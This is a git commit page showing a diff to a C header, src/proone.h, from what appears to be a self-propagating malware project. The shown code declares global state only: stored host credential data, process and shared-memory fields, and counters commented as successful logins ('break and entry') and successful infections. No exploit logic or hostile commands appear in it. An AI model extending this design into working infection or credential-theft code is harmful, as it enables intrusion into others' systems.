diff options
author | David Timber <mieabby@gmail.com> | 2020-01-03 03:08:19 +1100 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-01-03 03:08:19 +1100 |
commit | 9a2a07861e3919ea2d8f3b4f36e2d51d7748ba9d (patch) | |
tree | 4cb2cea83cc440e67abef03e70b089369b0fecc6 /src/proone.h | |
parent | ed809a51fdd1c313cd256301ef6f7211e8394cb1 (diff) |
checkpoint
Diffstat (limited to 'src/proone.h')
-rw-r--r-- | src/proone.h | 26 |
1 files changed, 22 insertions, 4 deletions
diff --git a/src/proone.h b/src/proone.h index 5911acf..803af34 100644 --- a/src/proone.h +++ b/src/proone.h @@ -3,18 +3,36 @@ #include <stdint.h> #include <stdbool.h> +#include <time.h> + +#include <sys/types.h> struct prne_global { uint8_t *host_cred_data; size_t host_cred_size; - bool has_proc_lim_lock; - bool bin_ready; - int caught_signal; + char *ny_bin_shm_name; prne_rnd_engine_t *rnd; + struct timespec god_start; + uint64_t run_cnt; + int caught_signal; + pid_t god_pid; + pid_t proone_pid; + int lock_shm_fd; + int ny_bin_shm_fd; + bool bin_ready; prne_unpack_bin_archive_result_t bin_pack; prne_bin_archive_t bin_archive; }; +struct prne_shared_global { + // "break and entry" count. Number of successful logins. + uint64_t bne_cnt; + // Number of successful infections. + uint64_t infect_cnt; + bool has_ny_bin; +}; + -extern struct prne_global pne_g; +extern struct prne_global prne_g; +extern struct prne_shared_global *prne_s_g; |